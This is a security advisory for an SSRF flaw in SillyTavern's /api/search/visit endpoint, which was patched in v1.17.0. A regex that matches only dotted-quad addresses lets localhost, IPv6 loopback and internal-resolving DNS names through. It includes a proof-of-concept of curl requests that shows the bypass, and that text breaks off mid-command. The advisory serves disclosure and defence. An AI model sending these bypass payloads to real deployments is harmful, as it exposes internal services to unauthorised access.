EUVD-2026-278843

fkie_cve-2026-34526

SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, in src/endpoints/search.js, the hostname is checked against /^\d+\.\d+\.\d+\.\d+$/. This only matches literal dotted-quad IPv4 (e.g. 127.0.0.1, 10.0.0.1). It does not catch: localhost (hostname, not dotted-quad), [::1] (IPv6 loopback), and DNS names resolving to internal addresses (e.g. localtest.me -> 127.0.0.1). A separate port check (urlObj.port !== '') limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF. This issue has been patched in version 1.17.0.

GHSA-wm7j-m6jm-8797 — SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6

Affected: npm: sillytavern

### Details Distinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.

In `src/endpoints/search.js` line 419, the hostname is checked against `/^\d+\.\d+\.\d+\.\d+$/`. This only matches literal dotted-quad IPv4 (e.g. `127.0.0.1`, `10.0.0.1`). It does not catch: - `localhost` (hostname, not dotted-quad) - `[::1]` (IPv6 loopback) - DNS names resolving to internal addresses (e.g. `localtest.me` -> 127.0.0.1)

A separate port check (`urlObj.port !== ''`) limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.

### PoC 1. Start SillyTavern v1.16.0 normally 2. Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled): ```bash # Blocked — dotted-quad matched by regex curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \ -H "Content-Type: application/json" \ -d '{"url": "http://127.0.0.1/", "html": true}' # Returns: 400 (blocked)

# Bypassed — "localhost" is not dotted-quad curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \ -H "Content-Type: application/json" \ -d '{"url": "http://localhost/", "html": true}' # Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)

# Bypassed — IPv6 loopback is not dotted-quad curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \ -H "Content-Type: applicat…

Most recent entries from all

EUVD-2026-278843

fkie_cve-2026-34526

GHSA-wm7j-m6jm-8797 — SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6